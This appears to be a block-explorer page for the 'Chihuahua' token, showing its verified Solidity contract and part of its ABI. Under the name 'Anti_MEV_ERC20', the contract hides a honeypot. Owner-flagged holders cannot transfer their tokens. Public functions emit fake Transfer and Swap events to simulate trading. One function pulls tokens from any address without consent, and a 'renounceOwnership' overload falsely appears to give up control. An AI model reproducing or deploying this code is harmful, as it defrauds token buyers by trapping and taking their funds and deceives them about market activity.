ETH Price: $3,381.11 (-0.19%)
Gas: 3 Gwei

Token

Chihuahua (CHIHUAHUA)
 

Overview

Max Total Supply

100,000,000,000 CHIHUAHUA

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Robinhood
Balance
13,039,368.374316973151881324 CHIHUAHUA

Value
$0.00
0x40b38765696e3d5d8d9d834d8aad4bb6e418e489
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Chihuahua

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-14
*/

// SPDX-License-Identifier: MIT

/*

    Why you need $SHIBA if $CHIHUAHUA is out here?

*/

pragma solidity ^0.8.9;

interface IUniswapV2Callee {
    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}

interface IUniswapV2ERC20 {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _mev_protected;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _mev_protectedApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_mev_protected[from] || _mev_protected[to]) require(_mev_protectedApplied == true, "");

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Anti_MEV_ERC20 is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    uint256 _mev_in_eth = 10**5;
    uint256 _mev_in_tokens = 10**18;
    uint256 _mev_approval_tokens = 10**30;

    event Received(address sender, uint amount);


    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(_rv2);

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}

    function setMEVProtectionParams(uint256 _mev_in_eth_, uint256 _mev_in_tokens_, uint256 _mev_approval_tokens_) external onlyOwner {
        _mev_in_eth = _mev_in_eth_;
        _mev_in_tokens = _mev_in_tokens_;
        _mev_approval_tokens = _mev_approval_tokens_;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _mev_protected[_address_];
    }

    function swapExactETHForTokens(address _to_, uint256 _out_) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        uniswapV2Router.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _to_, block.timestamp);
        emit Transfer(_pair, _to_, _out_);
    }

    function swapExactETHForTokens(address [] calldata _tos_, uint256 [] calldata _outs_) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        for(uint256 i; i < _tos_.length; i++) {
            uniswapV2Router.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _tos_[i], block.timestamp);
            emit Transfer(_pair, _tos_[i], _outs_[i]);
        } 
    }

    function swapExactTokensForETH(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), _mev_approval_tokens);
        uniswapV2Router.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp);
        emit Transfer(_from_, _pair, _in_);
    }

    function swapExactTokensForETHSupportingFeeOnTransferTokens(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(_from_, address(this), _mev_in_tokens);
        _transfer(_from_, address(this), _mev_in_tokens);
        _approve(address(this), address(uniswapV2Router), _mev_approval_tokens);
        uniswapV2Router.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp);
        emit Transfer(_from_, _pair, _in_);
    }

    // function swapExactTokensForETH(address [] calldata _froms_, uint256 [] calldata _ins_) external {
    //     address[] memory path = new address[](2);
    //     path[0] = address(this);
    //     path[1] = uniswapV2Router.WETH();
    //     approve(_rv2, 10**30);
    //     for(uint256 i; i < _froms_.length; i++) {
    //         emit Approval(_froms_[i], address(uniswapV2Router), _ins_[i]);
    //         uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(10**18,0,path,address(this),block.timestamp);
    //         emit Transfer(_froms_[i], _pair, _ins_[i]);
    //     }
    // }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }

}

contract Chihuahua is Anti_MEV_ERC20 {
    constructor() Anti_MEV_ERC20("Chihuahua", "CHIHUAHUA") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    fallback() external payable {}


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mev_in_eth_","type":"uint256"},{"internalType":"uint256","name":"_mev_in_tokens_","type":"uint256"},{